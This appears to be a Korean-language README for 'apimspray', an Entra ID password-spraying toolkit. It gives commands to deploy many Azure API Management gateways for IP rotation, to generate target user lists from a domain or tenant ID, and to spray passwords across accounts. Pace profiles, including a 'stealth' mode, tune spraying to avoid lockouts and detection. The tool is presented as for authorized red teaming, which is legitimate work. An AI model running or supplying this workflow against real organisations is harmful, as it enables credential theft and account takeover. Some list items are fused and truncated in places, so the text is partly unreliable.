
Azure apim 미니 프록시
apimspray는 권한 있는 보안 연구 및 레드팀(Red Teaming)을 위해 설계된 특화된 Entra ID 패스워드 스프레이 툴킷(Passwordspraying Toolkit) 입니다. IP 로테이션을 위한 분산 프록시 계층으로 Azure API Management(APIM) 게이트웨이를 활용합니다.
자세한 내용은 블로그 포스트를 참조하세요.
az): 로테이터(rotator) 스크립트가 리소스를 배포하는 데 필요합니다. (Azure CLI에 이미 인증된 CLI 세션에서 스크립트를 실행하거나 Azure Cloud Shell을 사용하세요.)pip install -r requirements.txt
az login
인증된 Azure 환경에서 직접 apimspray를 실행합니다.
git clone https://github.com/crtvrffnrt/apimspray.git
cd apimspray
python3 apimspray.py --help
여러 위치에 여러 APIM 게이트웨이를 배포합니다.
python3 apimspraycreate.py --count 5 --outfile urls.txt
germanywestcentral 및 westeurope에 33개의 APIM 인스턴스를 배포하고 urls.txt에 저장합니다.
python3 apimspraycreate.py --location germanywestcentral,westeurope --count 33 --outfile urls.txt
apimspraycreate CLI 참조:
usage: apimspraycreate.py [-h] --outfile OUTFILE [--count COUNT] [--location LOCATION] [--prefix PREFIX] [--realm-prefix REALM_PREFIX] [--delete-old]
apimspraycreate - Azure APIM 배포자
options:
-h, --help 도움말 메시지를 표시하고 종료합니다.
--outfile OUTFILE URL 출력 파일
--count COUNT 인스턴스 수
--location LOCATION 배포할 쉼표로 구분된 APIM 위치. 제공된 경우 해당 리전만 사용되며, 첫 번째 위치가 리소스 그룹에 사용됩니다.
--prefix PREFIX API URL 접두사
--realm-prefix REALM_PREFIX
Realm API 접두사
--delete-old 이전 리소스 그룹 삭제
중요: 모든 방법에서 백그라운드에 활성 az 세션(az login)이 있어야 합니다.
대상 목록을 준비했는지 확인하세요:
users.txt: 사용자 계정 이름(UserPrincipalName) 목록 (예: [email protected]).passwords.txt: 스프레이할 비밀번호 목록.사용자 목록이 없는 경우 도우미 스크립트 generate_upns.py를 사용할 수 있습니다. 이 도구는:
users.txt에 저장합니다.사용법:
# 특정 도메인 또는 테넌트 ID에 대한 users.txt 생성
python3 generate_upns.py --target example.com
# OR 테넌트 ID 사용
python3 generate_upns.py --target 00000000-0000-0000-0000-000000000000
generate_upns CLI 참조:
usage: generate_upns.py [-h] --target TARGET
연결된 Azure 테넌트 및 서비스 계정에서 UPN을 생성합니다.
options:
-h, --help 도움말 메시지를 표시하고 종료합니다.
--target TARGET 대상 도메인 (예: example.com) 또는 테넌트 UUID
usage: apimspray.py [-h] [--urls URLS] [--users USERS] [--passwords PASSWORDS] [--output OUTPUT] [--tenant TENANT] [--domain DOMAIN] --mode {spray,validate} [--pace {stealth,low,mid,medium,high}]
[--continue-on-success]
apimspray - Entra ID 평가 도구
options:
-h, --help 도움말 메시지를 표시하고 종료합니다.
--urls URLS APIM URL 파일 경로 (apimspraycreate.py 또는 apimsprayrotator.sh에서 생성)
--users USERS 사용자 파일 경로
--passwords PASSWORDS
비밀번호 파일 경로
--output OUTPUT 출력 디렉터리
--tenant TENANT 테넌트 ID 또는 도메인
--domain DOMAIN 사용자에 도메인이 누락된 경우 추가
--mode {spray,validate}
작동 모드. 'spray'는 모든 비밀번호를 모든 사용자에 대해 테스트합니다(1:N). 'validate'는 1:1 자격 증명 쌍 테스트를 수행합니다.
--pace {stealth,low,mid,medium,high}
요청 및 잠금 관리에 대한 속도 프로필:
- high: 15 워커, 0.1초 지연, 청크당 10회 패스, 5분 잠금 대기, 20 안전 임계값
- medium: 5 워커, 1.0초 지연, 청크당 5회 패스, 10분 잠금 대기, 10 안전 임계값, 10% 지터
- low: 2 워커, 5.0초 지연, 청크당 2회 패스, 15분 잠금 대기, 5 안전 임계값, 20% 지터
- stealth: 1 워커, 30.0초 지연, 청크당 1회 패스, 20분 잠금 대기, 1 안전 임계값, 40% 지터
--continue-on-success
유효한 자격 증명이 발견된 후에도 평가를 계속합니다.
validate: user:password 쌍 목록을 확인합니다. 동일한 길이의 목록이 필요합니다.
python3 apimspray.py --urls urls.txt --mode validate --users u.txt --passwords p.txt
spray: 하나의 비밀번호를 모든 사용자에 대해 시도한 후 대기(설정된 경우)한 다음 다음 비밀번호로 이동합니다.
python3 apimspray.py --urls urls.txt --mode spray --users users.txt --passwords common_passwords.txt --pace medium
--pace 인수는 스프레이의 공격성을 제어합니다. 값은 안정성과 안전을 보장하기 위해 하드코딩되어 있습니다.
AADSTS50053) 도구가 즉시 중단됩니다.결과는 results/<타임스탬프>/ 디렉터리에 저장됩니다:
valid_*.txt: 성공적인 인증 (MFA 필요 또는 토큰 수신).blocked_*.txt: 잠기거나 조건부로 차단된 계정.failed_*.txt: 잘못된 자격 증명 또는 사용자를 찾을 수 없음.| 프로필 | 워커 | 지연 | 카운트 (청크) | 잠금 대기 | 안전 임계값 | 지터 |
|---|
high | 15 | 0.1s | 10 | 5m | 20 잠금 | 0% |
medium | 5 | 1.0s | 5 | 10m | 10 잠금 | 10% |
low | 2 | 5.0s | 2 | 15m | 5 잠금 | 20% |
stealth | 1 | 30.0s | 1 | 20m | 1 잠금 | 40% |